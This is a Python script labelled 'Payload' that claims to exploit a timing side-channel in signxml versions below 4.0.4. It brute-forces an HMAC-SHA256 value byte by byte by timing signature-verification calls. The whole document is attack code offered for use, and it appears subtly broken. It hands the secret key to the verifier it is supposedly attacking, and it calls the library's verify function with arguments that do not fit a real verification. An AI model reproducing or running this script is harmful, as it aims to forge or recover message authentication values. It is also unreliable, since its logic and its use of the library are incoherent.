Payload

import time
import hashlib
import hmac
import signxml

def time_hmac_verification(data, hmac_key, guess_hmac):
    start_time = time.time()
    try:
        signxml.XMLVerifier().verify(data.encode('utf-8'), require_x509=False, hmac_key=hmac_key, hmac_algorithm="sha256",signature=guess_hmac.encode('utf-8')) # Inject the guess into the signature parameter
        result = True
    except Exception as e:
        result = False
    end_time = time.time()
    return end_time - start_time, result

def exploit(data, hmac_key, iterations=256):
    """
    Exploits the timing attack vulnerability in signxml versions < 4.0.4
    when verifying signatures with X509 certificate validation turned off
    and HMAC shared secret set.

    Args:
        data: The data to be "signed" (XML string).
        hmac_key: The HMAC key used for signing.
        iterations: Number of iterations.
    Returns:
        The recovered HMAC value.
    """
    recovered_hmac = bytearray([0] * 32) #Assuming SHA256 HMAC
    for byte_index in range(32):
        timings = {}
        for byte_value in range(256):
            guess_hmac_bytes = bytes(recovered_hmac[:byte_index]) + bytes([byte_value]) + bytes([0] * (32 - byte_index - 1))
            guess_hmac = guess_hmac_bytes.hex()
            timing, verification_result = time_hmac_verification(data, hmac_key, guess_hmac) # Use our timing method
            timings[byte_value] = timing
        best_byte = max(timings, key=timings.get)
        recovered_hmac[byte_index] = best_byte
        print(f"Byte {byte_index}: Guessed 0x{best_byte:02x}, Cumulative HMAC: {recovered_hmac.hex()}")

    return recovered_hmac.hex()


if __name__ == '__main__':
    data = "<root>This is some data</root>"
    hmac_key = "secret_key".encode('utf-8')
    # Generate the real HMAC for verification
    real_hmac = hmac.new(hmac_key, data.encode('utf-8'), hashlib.sha256).hexdigest()

    recovered_hmac = exploit(data, hmac_key.decode('utf-8'))

    print(f"Real HMAC:     {real_hmac}")
    print(f"Recovered HMAC: {recovered_hmac}")

    if real_hmac == recovered_hmac:
        print("HMAC successfully recovered!")
    else:
        print("HMAC recovery failed.")